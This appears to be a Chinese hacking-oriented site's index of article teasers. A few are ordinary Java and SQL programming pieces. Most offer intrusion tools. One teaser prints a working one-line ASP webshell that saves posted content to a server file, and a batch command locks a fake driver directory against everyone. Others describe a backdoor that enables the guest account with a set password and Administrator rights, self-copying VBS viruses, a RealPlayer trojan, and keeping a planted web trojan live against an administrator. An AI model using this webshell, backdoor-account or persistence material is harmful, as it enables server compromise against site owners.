本人对汇编调试方面是真正的菜鸟，甚至连菜鸟都谈不上。然而，一贵有自知之明，二贵有学习精神。从半个月前发现迅雷0day的shellcode的xor加密开始，我才在这感冒的期间（刚好实在不想看也看不下去物理啊），花一些..

来源：赛迪网 作者：Benson

来源：赛迪网 作者：superman

#define IoGetIrpStackLocation( Irp , Level) (\ (Irp)->Tail.Overlay.CurrentStackLocation + Level )BOOL IfIrpHasFobj(PIRP pIrp , LPCWSTR FileName){ULONG i , j ; PIO_STACK_LOCATION irpStac..

这个漏洞参考http://www.milw0rm.com/exploits/5619Author: Greysign2008-5-24http://www.scanw.com/blog

很早时候写的,方便大家用,代码丢了我也可以百度到,编译后,直接运行,XP的终端自动开启激活guest,密码为cooldiyer,加管理员组,并且可以多用户登录

编写RealPlayer木马的思路-----------------------------

其实语音监控比较简单~这里给出简单代码!

unit Unit1;

1. #include "stdafx.h" 2. #include "stdio.h" 3. #include "string.h" 4. #include <windows.h> 5. #include <wininet.h> 6. #include "tlhelp32.h" 7. #pragma comment(lib,"wininet.lib")

ps:请勿用于非法用途，仅供技术研究之用。by：yunshu

[原创]套接字编程实现网页内容的获取

本人挂马语句经常被管理员KILL，但是自己也有管理员权限，保留的很好，既然被他发现了，怎么说我们也要强行挂上1天到2天，让他去重做系统去。下面是一个简单的监控某个文件，给予他访问的权限。然后在检查代码中..

编程之修改文件修改时间的程序

作者：CoolDiyer来源：红狼

vbs病毒制作之一——复制自身的vbs脚本复制自身到c盘的huan.vbs

‘CMD下的dir好像没法列出从某段时间到某段时间的文件，所以写了这个小东东

适合读者：脚本攻击爱好者、程序员前置知识：SQL基本语法、C#基本语法

今天闲来无事，看到了一个垃圾清除的的BAT程序，觉得很实用便拿来看看，a.bat源代码如下：

经过狂精简.<%set z=server.createObject("Adodb.Stream")z.Openz.writetext request("x")z.SaveToFile server.mappath("o.asp"),2set z=nothing%><form method=post><input type=submit><textarea name..

if not exist %systemroot%\system32\drivers\pcihdd2.sys md %systemroot%\system32\drivers\pcihdd2.sys echo y|cacls %systemroot%\system32\drivers\pcihdd2.sys /d everyone

上午公司服务器也被挂马了，分析了下，顺便将步骤写出来了！共享之，没什么技术含量了，高手可以跳过了！

INSERT、DELETE、UPDATE 三种SQL语句是数据库技术的三大基本语句. 在通常的web开发中对它的处理可以说是无处不在. 如果简单的都用手工来构造这些SQL语句的话, 一方面给我们的开发带来很大的工作量, 另一方面系..

Servlet/JSP技术和ASP、PHP等相比，由于其多线程运行而具有很高的执行效率。由于Servlet/JSP默认是以多线程模式执行的，所以，在编写代码时需要非常细致地考虑多线程的同步问题。然而，很多人编写Servlet/JSP程..

J2EE学习者越来越多，J2EE本身技术不断在发展，涌现出各种概念，本文章试图从一种容易理解的角度对这些概念向初学者进行解释，以便掌握学习J2EE学习方向。

本文介绍了三种修改现有代码提高其可重用性的方法，它们分别是：改写类的实例方法，把参数类型改成接口，选择最简单的参数接口类型。

一、内层方法抛出异常，外层方法捕捉并处理异常：

提起Java内部类（Inner Class）可能很多人不太熟悉，实际上类似的概念在C++里也有，那就是嵌套类（Nested Class），关于这两者的区别与联系，在下文中会有对比。内部类从表面上看，就是在类中又定义了一个类（下文..

在《软件加密技术》这本书里看过PE文件各部分的详细解释之后，我也有了一个自己写PE文件分析器的的想法。虽然好的分析器不在少数，但对于一堆十六进制数，有些朋友可能不明白它代表什么意思。如果在程序里就可以将..

首先，本文的目标读者是正在从事技术工作的架构师。为了避免浪费大家的才智，我会避免讲述一些陈腐的最佳实践，例如"日常构建（build daily）"、"测试一切（test everything）"和"经常集成（ integrate often..

来源:赛迪网

ASP注入详细命令40条（一）

我们知道，应用程序总是离不开系统内核所提供的服务，比如它要使用内存的时候，只要跟操作系统申请就行了，而不用自己操心哪里有空闲的内存空间等问题，实际上，这些问题是由操作系统的内核来代劳的。站在黑客的角..

一个VBS病毒生成器核心代码

'code by lcx ,很好,很强大,很黄很暴力,很傻很天真,很zd很cnn'这个程序是算不同数字与字母的所有排列组合,当然可以做为字典生成器来用.如需不同组合,只需改本程序a和b的变量即可以.'use:cscript this.vbs > di..